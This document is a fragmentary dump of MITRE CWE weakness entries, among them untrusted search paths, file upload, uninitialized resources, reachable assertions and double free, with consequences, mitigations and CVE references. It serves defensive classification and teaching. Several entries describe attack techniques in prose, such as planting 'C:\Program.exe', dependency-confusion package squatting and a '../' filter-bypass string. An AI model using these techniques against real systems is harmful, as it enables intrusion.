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[ { "Impact": [ "Read Memory", "Read Application Data" ], "Likelihood": null, "Note": "When reusing a resource such as memory or a program variable, the original contents of that resource may not be cleared before it is sent to an untrusted party.", "Scope": [ "Confidentiality" ] }, { "Impact": [ "Bypass Protection Mechanism" ], "Likelihood": null, "Note": "If security-critical decisions rely on a variable having a \"0\" or equivalent value, and the programming language performs this initialization on behalf of the programmer, then a bypass of security may occur.", "Scope": [ "Access Control" ] }, { "Impact": [ "DoS: Crash, Exit, or Restart" ], "Likelihood": null, "Note": "The uninitialized data may contain values that cause program flow to change in ways that the programmer did not intend. For example, if an uninitialized variable is used as an array index in C, then its previous contents may produce an index that is outside the range of the array, possibly causing a crash or an exit in other environments.", "Scope": [ "Availability" ] } ]

[ { "Description": "\n\nThis weakness can be detected using dynamic tools and techniques that interact with the software using large test suites with many diverse inputs, such as fuzz testing (fuzzing), robustness testing, and fault injection. The software's operation may slow down, but it should not become unstable, crash, or generate incorrect results.\n\n\nInitialization problems may be detected with a stress-test by calling the software simultaneously from a large number of threads or processes, and look for evidence of any unexpected behavior. The software's operation may slow down, but it should not become unstable, crash, or generate incorrect results.\n", "DetectionMethodID": "DM-2", "Effectiveness": "Moderate", "EffectivenessNotes": null, "Method": "Automated Dynamic Analysis" }, { "Description": "Identify error conditions that are not likely to occur during normal usage and trigger them. For example, run the program under low memory conditions, run with insufficient privileges or permissions, interrupt a transaction before it is completed, or disable connectivity to basic network services such as DNS. Monitor the software for any unexpected behavior. If you trigger an unhandled exception or similar error that was discovered and handled by the application's environment, it may still indicate unexpected conditions that were not handled by the application itself.", "DetectionMethodID": "DM-12", "Effectiveness": null, "EffectivenessNotes": null, "Method": "Manual Dynamic Analysis" }, { "Description": "Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without having to execute it. Typically, this is done by building a model of data flow and control flow, then searching for potentially-vulnerable patterns that connect \"sources\" (origins of input) with \"sinks\" (destinations where the data interacts with external components, a lower layer such as the OS, etc.)", "DetectionMethodID": "DM-14", "Effectiveness": "High", "EffectivenessNotes": null, "Method": "Automated Static Analysis" } ]

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Discouraged

This CWE entry is a level-1 Class (i.e., a child of a Pillar). It might have lower-level children that would be more appropriate

Examine children of this entry to see if there is a better fit

[ "Abstraction" ]

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1188

Initialization of a Resource with an Insecure Default

Base

Simple

Incomplete

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The product initializes or sets a resource with a default that is intended to be changed by the administrator, but the default is not secure.

Developers often choose default values that leave the product as open and easy to use as possible out-of-the-box, under the assumption that the administrator can (or should) change the default value. However, this ease-of-use comes at a cost when the default is insecure and the administrator does not change it.

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[ { "Note": "This entry improves organization of concepts under initialization. The typical CWE model is to cover \"Missing\" and \"Incorrect\" behaviors. Arguably, this entry could be named as \"Incorrect\" instead of \"Insecure.\" This might be changed in the near future.", "Type": "Maintenance" } ]

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Allowed

This CWE entry is at the Base level of abstraction, which is a preferred level of abstraction for mapping to the root causes of vulnerabilities.

Carefully read both the name and description to ensure that this mapping is an appropriate fit. Do not try to 'force' a mapping to a lower-level Base/Variant simply to comply with this preferred level of abstraction.

[ "Acceptable-Use" ]

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[ { "Description": null, "Ordinality": "Primary" } ]

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1

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908

Use of Uninitialized Resource

Base

Simple

Incomplete

null

The product uses or accesses a resource that has not been initialized.

When a resource has not been properly initialized, the product may behave unexpectedly. This may lead to a crash or invalid memory access, but the consequences vary depending on the type of resource and how it is used within the product.

Medium

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Allowed

This CWE entry is at the Base level of abstraction, which is a preferred level of abstraction for mapping to the root causes of vulnerabilities.

Carefully read both the name and description to ensure that this mapping is an appropriate fit. Do not try to 'force' a mapping to a lower-level Base/Variant simply to comply with this preferred level of abstraction.

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909

Missing Initialization of Resource

Class

Simple

Incomplete

null

The product does not initialize a critical resource.

Many resources require initialization before they can be properly used. If a resource is not initialized, it could contain unpredictable or expired data, or it could be initialized to defaults that are invalid. This can have security implications when the resource is expected to have certain properties or values.

Medium

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[ { "Description": "A variable that has its value set in a conditional statement is sometimes used when the conditional fails, sometimes causing data leakage", "Link": "https://www.cve.org/CVERecord?id=CVE-2020-20739", "Reference": "CVE-2020-20739" }, { "Description": "Chain: Bypass of access restrictions due to improper authorization (CWE-862) of a user results from an improperly initialized (CWE-909) I/O permission bitmap", "Link": "https://www.cve.org/CVERecord?id=CVE-2005-1036", "Reference": "CVE-2005-1036" } ]

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Exposure of Resource to Wrong Sphere

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The product exposes a resource to the wrong control sphere, providing unintended actors with inappropriate access to the resource.

Resources such as files and directories may be inadvertently exposed through mechanisms such as insecure permissions, or when a program accidentally operates on the wrong object. For example, a program may intend that private files can only be provided to a specific user. This effectively defines a control sphere that is intended to prevent attackers from accessing these private files. If the file permissions are insecure, then parties other than the user will be able to access those files. A separate control sphere might effectively require that the user can only access the private files, but not any other files on the system. If the program does not ensure that the user is only requesting private files, then the user might be able to access other files on the system. In either case, the end result is that a resource has been exposed to the wrong party.

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[ { "Impact": [ "Read Application Data" ], "Likelihood": [ "High" ], "Note": "An adversary that gains access to a resource exposed to a wrong sphere could potentially retrieve private data from that resource, thus breaking the intended confidentiality of that data.", "Scope": [ "Confidentiality" ] }, { "Impact": [ "Modify Application Data" ], "Likelihood": [ "Medium" ], "Note": "An adversary that gains access to a resource exposed to a wrong sphere could potentially modify data held within that resource, thus breaking the intended integrity of that data and causing the system relying on that resource to make unintended decisions.", "Scope": [ "Integrity" ] }, { "Impact": [ "Varies by Context" ], "Likelihood": null, "Note": "The consequences may vary widely depending on how the product uses the affected resource.", "Scope": [ "Other" ] } ]

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Discouraged

CWE-668 is high-level and is often misused as a catch-all when lower-level CWE IDs might be applicable. It is sometimes used for low-information vulnerability reports [REF-1287]. It is a level-1 Class (i.e., a child of a Pillar). It is not useful for trend analysis.

Closely analyze the specific mistake that is allowing the resource to be exposed, and perform a CWE mapping for that mistake.

[ "Frequent Misuse", "Abstraction" ]

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134

Use of Externally-Controlled Format String

Base

Simple

Draft

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The product uses a function that accepts a format string as an argument, but the format string originates from an external source.

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High

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Allowed

This CWE entry is at the Base level of abstraction, which is a preferred level of abstraction for mapping to the root causes of vulnerabilities.

Carefully read both the name and description to ensure that this mapping is an appropriate fit. Do not try to 'force' a mapping to a lower-level Base/Variant simply to comply with this preferred level of abstraction.

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426

Untrusted Search Path

Base

Simple

Stable

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The product searches for critical resources using an externally-supplied search path that can point to resources that are not under the product's direct control.

This might allow attackers to execute their own programs, access unauthorized data files, or modify configuration in unexpected ways. If the product uses a search path to locate critical resources such as programs, then an attacker could modify that search path to point to a malicious program, which the targeted product would then execute. The problem extends to any type of critical resource that the product trusts. Some of the most common variants of untrusted search path are: - In various UNIX and Linux-based systems, the PATH environment variable may be consulted to locate executable programs, and LD_PRELOAD may be used to locate a separate library. - In various Microsoft-based systems, the PATH environment variable is consulted to locate a DLL, if the DLL is not found in other paths that appear earlier in the search order.

High

[ { "CweID": "668", "Nature": "ChildOf", "Ordinal": "Primary", "ViewID": "1003" } ]

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Allowed-with-Review

This CWE entry is often confused with another closely-related entry about search paths.

CWE-426 and CWE-427 are often misused because they both mention search paths, although CWE-426 is focused on attacker control of the search path itself, while CWE-427 applies when the attacker cannot modify the search path but can write to one of the locations specified in the search path. Also, this entry is classified in a part of CWE's hierarchy that does not have sufficiently low-level coverage, which might reflect a lack of classification-oriented weakness research in the software security community. Conduct careful root cause analysis to determine the original mistake that led to this weakness. If closer analysis reveals that this weakness is appropriate, then this might be the best available CWE to use for mapping. If no other option is available, then it is acceptable to map to this CWE.

[ "Frequent Misinterpretation", "Abstraction", "Other" ]

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[ { "Description": null, "Term": "Untrusted Path" } ]

[ "System Process" ]

[ "Program Invocation", "Code Libraries" ]

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427

Uncontrolled Search Path Element

Base

Simple

Draft

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The product uses a fixed or controlled search path to find resources, but one or more locations in that path can be under the control of unintended actors.

Although this weakness can occur with any type of resource, it is frequently introduced when a product uses a directory search path to find executables or code libraries, but the path contains a directory that can be modified by an attacker, such as "/tmp" or the current working directory. In Windows-based systems, when the LoadLibrary or LoadLibraryEx function is called with a DLL name that does not contain a fully qualified path, the function follows a search order that includes two path elements that might be uncontrolled: - the directory from which the program has been loaded - the current working directory In some cases, the attack can be conducted remotely, such as when SMB or WebDAV network shares are used. One or more locations in that path could include the Windows drive root or its subdirectories. This often exists in Linux-based code assuming the controlled nature of the root directory (/) or its subdirectories (/etc, etc), or a code that recursively accesses the parent directory. In Windows, the drive root and some of its subdirectories have weak permissions by default, which makes them uncontrolled. In some Unix-based systems, a PATH might be created that contains an empty element, e.g. by splicing an empty variable into the PATH. This empty element can be interpreted as equivalent to the current working directory, which might be an untrusted search element. In software package management frameworks (e.g., npm, RubyGems, or PyPi), the framework may identify dependencies on third-party libraries or other packages, then consult a repository that contains the desired package. The framework may search a public repository before a private repository. This could be exploited by attackers by placing a malicious package in the public repository that has the same name as a package from the private repository. The search path might not be directly under control of the developer relying on the framework, but this search order effectively contains an untrusted element.

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[ { "Note": null, "Phase": "Implementation" } ]

[ { "Impact": [ "Execute Unauthorized Code or Commands" ], "Likelihood": null, "Note": null, "Scope": [ "Confidentiality", "Integrity", "Availability" ] } ]

[ { "Description": "Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without having to execute it. Typically, this is done by building a model of data flow and control flow, then searching for potentially-vulnerable patterns that connect \"sources\" (origins of input) with \"sinks\" (destinations where the data interacts with external components, a lower layer such as the OS, etc.)", "DetectionMethodID": "DM-14", "Effectiveness": "High", "EffectivenessNotes": null, "Method": "Automated Static Analysis" } ]

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Allowed-with-Review

This CWE entry is often confused with another closely-related entry about search paths.

CWE-426 and CWE-427 are often misused because they both mention search paths, although CWE-426 is focused on attacker control of the search path itself, while CWE-427 applies when the attacker cannot modify the search path but can write to one of the locations specified in the search path. Also, this entry is classified in a part of CWE's hierarchy that does not have sufficiently low-level coverage, which might reflect a lack of classification-oriented weakness research in the software security community. Conduct careful root cause analysis to determine the original mistake that led to this weakness. If closer analysis reveals that this weakness is appropriate, then this might be the best available CWE to use for mapping. If no other option is available, then it is acceptable to map to this CWE.

[ "Frequent Misinterpretation", "Abstraction", "Other" ]

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428

Unquoted Search Path or Element

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The product uses a search path that contains an unquoted element, in which the element contains whitespace or other separators. This can cause the product to access resources in a parent path.

If a malicious individual has access to the file system, it is possible to elevate privileges by inserting such a file as "C:\Program.exe" to be run by a privileged program making use of WinExec.

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[ { "CweID": "668", "Nature": "ChildOf", "Ordinal": "Primary", "ViewID": "1003" } ]

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[ { "Note": null, "Phase": "Implementation" } ]

[ { "Impact": [ "Execute Unauthorized Code or Commands" ], "Likelihood": null, "Note": null, "Scope": [ "Confidentiality", "Integrity", "Availability" ] } ]

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Allowed

This CWE entry is at the Base level of abstraction, which is a preferred level of abstraction for mapping to the root causes of vulnerabilities.

Carefully read both the name and description to ensure that this mapping is an appropriate fit. Do not try to 'force' a mapping to a lower-level Base/Variant simply to comply with this preferred level of abstraction.

[ "Acceptable-Use" ]

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[ "Program Invocation" ]

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1

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552

Files or Directories Accessible to External Parties

Base

Simple

Draft

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The product makes files or directories accessible to unauthorized actors, even though they should not be.

Web servers, FTP servers, and similar servers may store a set of files underneath a "root" directory that is accessible to the server's users. Applications may store sensitive files underneath this root without also using access control to limit which users may request those files, if any. Alternately, an application might package multiple files or directories into an archive file (e.g., ZIP or tar), but the application might not exclude sensitive files that are underneath those directories. In cloud technologies and containers, this weakness might present itself in the form of misconfigured storage accounts that can be read or written by a public or anonymous user.

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[ { "Description": "Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without having to execute it. Typically, this is done by building a model of data flow and control flow, then searching for potentially-vulnerable patterns that connect \"sources\" (origins of input) with \"sinks\" (destinations where the data interacts with external components, a lower layer such as the OS, etc.)", "DetectionMethodID": "DM-14", "Effectiveness": "High", "EffectivenessNotes": null, "Method": "Automated Static Analysis" } ]

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[ { "Description": "Data file under web root.", "Link": "https://www.cve.org/CVERecord?id=CVE-2005-1835", "Reference": "CVE-2005-1835" } ]

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Allowed

This CWE entry is at the Base level of abstraction, which is a preferred level of abstraction for mapping to the root causes of vulnerabilities.

Carefully read both the name and description to ensure that this mapping is an appropriate fit. Do not try to 'force' a mapping to a lower-level Base/Variant simply to comply with this preferred level of abstraction.

[ "Acceptable-Use" ]

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[ "File or Directory" ]

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1

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669

Incorrect Resource Transfer Between Spheres

Class

Simple

Draft

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The product does not properly transfer a resource/behavior to another sphere, or improperly imports a resource/behavior from another sphere, in a manner that provides unintended control over that resource.

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[]

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[ { "Note": null, "Phase": "Architecture and Design" }, { "Note": "REALIZATION: This weakness is caused during implementation of an architectural security tactic.", "Phase": "Implementation" }, { "Note": null, "Phase": "Operation" } ]

[ { "Impact": [ "Read Application Data", "Modify Application Data", "Unexpected State" ], "Likelihood": null, "Note": null, "Scope": [ "Confidentiality", "Integrity" ] } ]

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[ { "Description": "Chain: router's firmware update procedure uses curl with \"-k\" (insecure) option that disables certificate validation (CWE-295), allowing adversary-in-the-middle (AITM) compromise with a malicious firmware image (CWE-494).", "Link": "https://www.cve.org/CVERecord?id=CVE-2021-22909", "Reference": "CVE-2021-22909" }, { "Description": "PHP-based FAQ management app does not check the MIME type for uploaded images", "Link": "https://www.cve.org/CVERecord?id=CVE-2023-5227", "Reference": "CVE-2023-5227" }, { "Description": "Some image editors modify a JPEG image, but the original EXIF thumbnail image is left intact within the JPEG. (Also an interaction error).", "Link": "https://www.cve.org/CVERecord?id=CVE-2005-0406", "Reference": "CVE-2005-0406" } ]

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Improper Removal of Sensitive Information Before Storage or Transfer

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The product stores, transfers, or shares a resource that contains sensitive information, but it does not properly remove that information before the product makes the resource available to unauthorized actors.

Resources that may contain sensitive data include documents, packets, messages, databases, etc. While this data may be useful to an individual user or small set of users who share the resource, it may need to be removed before the resource can be shared outside of the trusted group. The process of removal is sometimes called cleansing or scrubbing. For example, a product for editing documents might not remove sensitive data such as reviewer comments or the local pathname where the document is stored. Or, a proxy might not remove an internal IP address from headers before making an outgoing request to an Internet site.

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[ { "Note": null, "Phase": "Architecture and Design" }, { "Note": "REALIZATION: This weakness is caused during implementation of an architectural security tactic.", "Phase": "Implementation" }, { "Note": null, "Phase": "Operation" } ]

[ { "Impact": [ "Read Files or Directories", "Read Application Data" ], "Likelihood": null, "Note": "Sensitive data may be exposed to an unauthorized actor in another control sphere. This may have a wide range of secondary consequences which will depend on what data is exposed. One possibility is the exposure of system data allowing an attacker to craft a specific, more effective attack.", "Scope": [ "Confidentiality" ] } ]

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[ { "Description": "Clearly specify which information should be regarded as private or sensitive, and require that the product offers functionality that allows the user to cleanse the sensitive information from the resource before it is published or exported to other parties.", "Effectiveness": null, "EffectivenessNotes": null, "MitigationID": null, "Phase": [ "Requirements" ], "Strategy": null }, { "Description": "\n\nCompartmentalize the system to have \"safe\" areas where trust boundaries can be unambiguously drawn. Do not allow sensitive data to go outside of the trust boundary and always be careful when interfacing with a compartment outside of the safe area.\n\n\nEnsure that appropriate compartmentalization is built into the system design, and the compartmentalization allows for and reinforces privilege separation functionality. Architects and designers should rely on the principle of least privilege to decide the appropriate time to use privileges and the time to drop privileges.\n", "Effectiveness": null, "EffectivenessNotes": null, "MitigationID": "MIT-46", "Phase": [ "Architecture and Design" ], "Strategy": "Separation of Privilege" }, { "Description": "Use naming conventions and strong types to make it easier to spot when sensitive data is being used. When creating structures, objects, or other complex entities, separate the sensitive and non-sensitive data as much as possible.", "Effectiveness": "Defense in Depth", "EffectivenessNotes": "This makes it easier to spot places in the code where data is being used that is unencrypted.", "MitigationID": "MIT-33", "Phase": [ "Implementation" ], "Strategy": "Attack Surface Reduction" }, { "Description": "Avoid errors related to improper resource shutdown or release (CWE-404), which may leave the sensitive data within the resource if it is in an incomplete state.", "Effectiveness": null, "EffectivenessNotes": null, "MitigationID": null, "Phase": [ "Implementation" ], "Strategy": null } ]

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[ { "Description": "Cryptography library does not clear heap memory before release", "Link": "https://www.cve.org/CVERecord?id=CVE-2019-3733", "Reference": "CVE-2019-3733" }, { "Description": "Some image editors modify a JPEG image, but the original EXIF thumbnail image is left intact within the JPEG. (Also an interaction error).", "Link": "https://www.cve.org/CVERecord?id=CVE-2005-0406", "Reference": "CVE-2005-0406" }, { "Description": "NAT feature in firewall leaks internal IP addresses in ICMP error messages.", "Link": "https://www.cve.org/CVERecord?id=CVE-2002-0704", "Reference": "CVE-2002-0704" } ]

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Allowed

This CWE entry is at the Base level of abstraction, which is a preferred level of abstraction for mapping to the root causes of vulnerabilities.

Carefully read both the name and description to ensure that this mapping is an appropriate fit. Do not try to 'force' a mapping to a lower-level Base/Variant simply to comply with this preferred level of abstraction.

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434

Unrestricted Upload of File with Dangerous Type

Base

Simple

Draft

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The product allows the upload or transfer of dangerous file types that are automatically processed within its environment.

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Medium

[ { "CweID": "669", "Nature": "ChildOf", "Ordinal": "Primary", "ViewID": "1003" } ]

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[ { "Note": null, "Phase": "Implementation" }, { "Note": "OMISSION: This weakness is caused by missing a security tactic during the architecture and design phase.", "Phase": "Architecture and Design" } ]

[ { "Impact": [ "Execute Unauthorized Code or Commands" ], "Likelihood": null, "Note": "Arbitrary code execution is possible if an uploaded file is interpreted and executed as code by the recipient. This is especially true for web-server extensions such as .asp and .php because these file types are often treated as automatically executable, even when file system permissions do not specify execution. For example, in Unix environments, programs typically cannot run unless the execute bit is set, but PHP programs may be executed by the web server without directly invoking them on the operating system.", "Scope": [ "Integrity", "Confidentiality", "Availability" ] } ]

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Allowed

This CWE entry is at the Base level of abstraction, which is a preferred level of abstraction for mapping to the root causes of vulnerabilities.

Carefully read both the name and description to ensure that this mapping is an appropriate fit. Do not try to 'force' a mapping to a lower-level Base/Variant simply to comply with this preferred level of abstraction.

[ "Acceptable-Use" ]

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[ { "Description": "Used in vulnerability databases and elsewhere, but it is insufficiently precise. The phrase could be interpreted as the lack of restrictions on the size or number of uploaded files, which is a resource consumption issue.", "Term": "Unrestricted File Upload" } ]

[ "File or Directory" ]

[ "File Processing" ]

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494

Download of Code Without Integrity Check

Base

Simple

Draft

null

The product downloads source code or an executable from a remote location and executes the code without sufficiently verifying the origin and integrity of the code.

An attacker can execute malicious code by compromising the host server, performing DNS spoofing, or modifying the code in transit.

Medium

[ { "CweID": "669", "Nature": "ChildOf", "Ordinal": "Primary", "ViewID": "1003" } ]

[ { "Class": "Not Language-Specific", "Name": null, "Prevalence": "Undetermined", "Type": "Language" } ]

[ { "Note": "OMISSION: This weakness is caused by missing a security tactic during the architecture and design phase.", "Phase": "Architecture and Design" }, { "Note": null, "Phase": "Implementation" } ]

[ { "Impact": [ "Execute Unauthorized Code or Commands", "Alter Execution Logic", "Other" ], "Likelihood": null, "Note": "Executing untrusted code could compromise the control flow of the program. The untrusted code could execute attacker-controlled commands, read or modify sensitive resources, or prevent the software from functioning correctly for legitimate users.", "Scope": [ "Integrity", "Availability", "Confidentiality", "Other" ] } ]

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This CWE entry is at the Base level of abstraction, which is a preferred level of abstraction for mapping to the root causes of vulnerabilities.

Carefully read both the name and description to ensure that this mapping is an appropriate fit. Do not try to 'force' a mapping to a lower-level Base/Variant simply to comply with this preferred level of abstraction.

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565

Reliance on Cookies without Validation and Integrity Checking

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The product relies on the existence or values of cookies when performing security-critical operations, but it does not properly ensure that the setting is valid for the associated user.

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[ { "CweID": "669", "Nature": "ChildOf", "Ordinal": "Primary", "ViewID": "1003" } ]

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[ { "Note": "OMISSION: This weakness is caused by missing a security tactic during the architecture and design phase.", "Phase": "Architecture and Design" }, { "Note": null, "Phase": "Implementation" } ]

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Allowed

This CWE entry is at the Base level of abstraction, which is a preferred level of abstraction for mapping to the root causes of vulnerabilities.

Carefully read both the name and description to ensure that this mapping is an appropriate fit. Do not try to 'force' a mapping to a lower-level Base/Variant simply to comply with this preferred level of abstraction.

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Inclusion of Functionality from Untrusted Control Sphere

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The product imports, requires, or includes executable functionality (such as a library) from a source that is outside of the intended control sphere.

When including third-party functionality, such as a web widget, library, or other source of functionality, the product must effectively trust that functionality. Without sufficient protection mechanisms, the functionality could be malicious in nature (either by coming from an untrusted source, being spoofed, or being modified in transit from a trusted source). The functionality might also contain its own weaknesses, or grant access to additional functionality and state information that should be kept private to the base system, such as system state information, sensitive application data, or the DOM of a web application. This might lead to many different consequences depending on the included functionality, but some examples include injection of malware, information exposure by granting excessive privileges or permissions to the untrusted functionality, DOM-based XSS vulnerabilities, stealing user's cookies, or open redirect to malware (CWE-601).

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[ { "CweID": "669", "Nature": "ChildOf", "Ordinal": "Primary", "ViewID": "1003" } ]

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[ { "Note": "REALIZATION: This weakness is caused during implementation of an architectural security tactic.", "Phase": "Implementation" } ]

[ { "Impact": [ "Execute Unauthorized Code or Commands" ], "Likelihood": null, "Note": "An attacker could insert malicious functionality into the program by causing the program to download code that the attacker has placed into the untrusted control sphere, such as a malicious web site.", "Scope": [ "Confidentiality", "Integrity", "Availability" ] } ]

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Features such as the ESAPI AccessReferenceMap [REF-45] provide this capability.\n", "Effectiveness": null, "EffectivenessNotes": null, "MitigationID": "MIT-21.1", "Phase": [ "Architecture and Design" ], "Strategy": "Enforcement by Conversion" }, { "Description": "For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.", "Effectiveness": null, "EffectivenessNotes": null, "MitigationID": "MIT-15", "Phase": [ "Architecture and Design" ], "Strategy": null }, { "Description": "\n\nRun the code in a \"jail\" or similar sandbox environment that enforces strict boundaries between the process and the operating system. This may effectively restrict which files can be accessed in a particular directory or which commands can be executed by the software.\n\n\nOS-level examples include the Unix chroot jail, AppArmor, and SELinux. In general, managed code may provide some protection. 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If possible, create isolated accounts with limited privileges that are only used for a single task. That way, a successful attack will not immediately give the attacker access to the rest of the software or its environment. For example, database applications rarely need to run as the database administrator, especially in day-to-day operations.", "Effectiveness": null, "EffectivenessNotes": null, "MitigationID": "MIT-17", "Phase": [ "Architecture and Design", "Operation" ], "Strategy": "Environment Hardening" }, { "Description": "\n\nAssume all input is malicious. Use an \"accept known good\" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.\n\n\nWhen performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, \"boat\" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as \"red\" or \"blue.\"\n\n\nDo not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.\n\n\nWhen validating filenames, use stringent allowlists that limit the character set to be used. If feasible, only allow a single \".\" character in the filename to avoid weaknesses such as CWE-23, and exclude directory separators such as \"/\" to avoid CWE-36. Use a list of allowable file extensions, which will help to avoid CWE-434.\n\n\nDo not rely exclusively on a filtering mechanism that removes potentially dangerous characters. This is equivalent to a denylist, which may be incomplete (CWE-184). For example, filtering \"/\" is insufficient protection if the filesystem also supports the use of \"\\\" as a directory separator. Another possible error could occur when the filtering is applied in a way that still produces dangerous data (CWE-182). For example, if \"../\" sequences are removed from the \".../...//\" string in a sequential fashion, two instances of \"../\" would be removed from the original string, but the remaining characters would still form the \"../\" string.\n", "Effectiveness": "High", "EffectivenessNotes": null, "MitigationID": "MIT-5.1", "Phase": [ "Implementation" ], "Strategy": "Input Validation" }, { "Description": "\n\nStore library, include, and utility files outside of the web document root, if possible. Otherwise, store them in a separate directory and use the web server's access control capabilities to prevent attackers from directly requesting them. One common practice is to define a fixed constant in each calling program, then check for the existence of the constant in the library/include file; if the constant does not exist, then the file was directly requested, and it can exit immediately.\n\n\nThis significantly reduces the chance of an attacker being able to bypass any protection mechanisms that are in the base program but not in the include files. It will also reduce the attack surface.\n", "Effectiveness": null, "EffectivenessNotes": null, "MitigationID": "MIT-34", "Phase": [ "Architecture and Design", "Operation" ], "Strategy": "Attack Surface Reduction" }, { "Description": "\n\nUnderstand all the potential areas where untrusted inputs can enter your software: parameters or arguments, cookies, anything read from the network, environment variables, reverse DNS lookups, query results, request headers, URL components, e-mail, files, filenames, databases, and any external systems that provide data to the application. Remember that such inputs may be obtained indirectly through API calls.\n\n\nMany file inclusion problems occur because the programmer assumed that certain inputs could not be modified, especially for cookies and URL components.\n", "Effectiveness": null, "EffectivenessNotes": null, "MitigationID": "MIT-6", "Phase": [ "Architecture and Design", "Implementation" ], "Strategy": "Attack Surface Reduction" }, { "Description": "Use an application firewall that can detect attacks against this weakness. It can be beneficial in cases in which the code cannot be fixed (because it is controlled by a third party), as an emergency prevention measure while more comprehensive software assurance measures are applied, or to provide defense in depth.", "Effectiveness": "Moderate", "EffectivenessNotes": "An application firewall might not cover all possible input vectors. In addition, attack techniques might be available to bypass the protection mechanism, such as using malformed inputs that can still be processed by the component that receives those inputs. Depending on functionality, an application firewall might inadvertently reject or modify legitimate requests. Finally, some manual effort may be required for customization.", "MitigationID": "MIT-29", "Phase": [ "Operation" ], "Strategy": "Firewall" } ]

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Allowed

This CWE entry is at the Base level of abstraction, which is a preferred level of abstraction for mapping to the root causes of vulnerabilities.

Carefully read both the name and description to ensure that this mapping is an appropriate fit. Do not try to 'force' a mapping to a lower-level Base/Variant simply to comply with this preferred level of abstraction.

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Always-Incorrect Control Flow Implementation

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The code contains a control flow path that does not reflect the algorithm that the path is intended to implement, leading to incorrect behavior any time this path is navigated.

This weakness captures cases in which a particular code segment is always incorrect with respect to the algorithm that it is implementing. For example, if a C programmer intends to include multiple statements in a single block but does not include the enclosing braces (CWE-483), then the logic is always incorrect. This issue is in contrast to most weaknesses in which the code usually behaves correctly, except when it is externally manipulated in malicious ways.

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[ { "Note": "This issue typically appears in rarely-tested code, since the \"always-incorrect\" nature will be detected as a bug during normal usage.", "Phase": "Implementation" } ]

[ { "Impact": [ "Other", "Alter Execution Logic" ], "Likelihood": null, "Note": null, "Scope": [ "Other" ] } ]

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[ { "Description": "virtual interrupt controller in a virtualization product allows crash of host by writing a certain invalid value to a register, which triggers a fatal error instead of returning an error code", "Link": "https://www.cve.org/CVERecord?id=CVE-2021-3011", "Reference": "CVE-2021-3011" } ]

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[ { "Note": "This node could possibly be split into lower-level nodes. \"Early Return\" is for returning control to the caller too soon (e.g., CWE-584). \"Excess Return\" is when control is returned too far up the call stack (CWE-600, CWE-395). \"Improper control limitation\" occurs when the product maintains control at a lower level of execution, when control should be returned \"further\" up the call stack (CWE-455). \"Incorrect syntax\" covers code that's \"just plain wrong\" such as CWE-484 and CWE-483.", "Type": "Maintenance" } ]

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This CWE entry is a Class and might have Base-level children that would be more appropriate

Examine children of this entry to see if there is a better fit

[ "Abstraction" ]

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617

Reachable Assertion

Base

Simple

Draft

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The product contains an assert() or similar statement that can be triggered by an attacker, which leads to an application exit or other behavior that is more severe than necessary.

While assertion is good for catching logic errors and reducing the chances of reaching more serious vulnerability conditions, it can still lead to a denial of service. For example, if a server handles multiple simultaneous connections, and an assert() occurs in one single connection that causes all other connections to be dropped, this is a reachable assertion that leads to a denial of service.

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[ { "Note": null, "Phase": "Implementation" } ]

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[ { "Description": "Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without having to execute it. Typically, this is done by building a model of data flow and control flow, then searching for potentially-vulnerable patterns that connect \"sources\" (origins of input) with \"sinks\" (destinations where the data interacts with external components, a lower layer such as the OS, etc.)", "DetectionMethodID": "DM-14", "Effectiveness": "High", "EffectivenessNotes": null, "Method": "Automated Static Analysis" } ]

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[ { "Description": "Chain: function in web caching proxy does not correctly check a return value (CWE-253) leading to a reachable assertion (CWE-617)", "Link": "https://www.cve.org/CVERecord?id=CVE-2023-49286", "Reference": "CVE-2023-49286" }, { "Description": "FTP server allows remote attackers to cause a denial of service (daemon abort) via crafted commands which trigger an assertion failure.", "Link": "https://www.cve.org/CVERecord?id=CVE-2006-6767", "Reference": "CVE-2006-6767" }, { "Description": "Chat client allows remote attackers to cause a denial of service (crash) via a long message string when connecting to a server, which causes an assertion failure.", "Link": "https://www.cve.org/CVERecord?id=CVE-2006-6811", "Reference": "CVE-2006-6811" }, { "Description": "Product allows remote attackers to cause a denial of service (daemon crash) via LDAP BIND requests with long authcid names, which triggers an assertion failure.", "Link": "https://www.cve.org/CVERecord?id=CVE-2006-5779", "Reference": "CVE-2006-5779" }, { "Description": "Product allows remote attackers to cause a denial of service (crash) via certain queries, which cause an assertion failure.", "Link": "https://www.cve.org/CVERecord?id=CVE-2006-4095", "Reference": "CVE-2006-4095" }, { "Description": "Chain: security monitoring product has an off-by-one error that leads to unexpected length values, triggering an assertion.", "Link": "https://www.cve.org/CVERecord?id=CVE-2006-4574", "Reference": "CVE-2006-4574" }, { "Description": "Anti-virus product has assert error when line length is non-numeric.", "Link": "https://www.cve.org/CVERecord?id=CVE-2004-0270", "Reference": "CVE-2004-0270" } ]

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This CWE entry is at the Base level of abstraction, which is a preferred level of abstraction for mapping to the root causes of vulnerabilities.

Carefully read both the name and description to ensure that this mapping is an appropriate fit. Do not try to 'force' a mapping to a lower-level Base/Variant simply to comply with this preferred level of abstraction.

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Operation on a Resource after Expiration or Release

Class

Simple

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The product uses, accesses, or otherwise operates on a resource after that resource has been expired, released, or revoked.

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415

Double Free

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Simple

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The product calls free() twice on the same memory address.

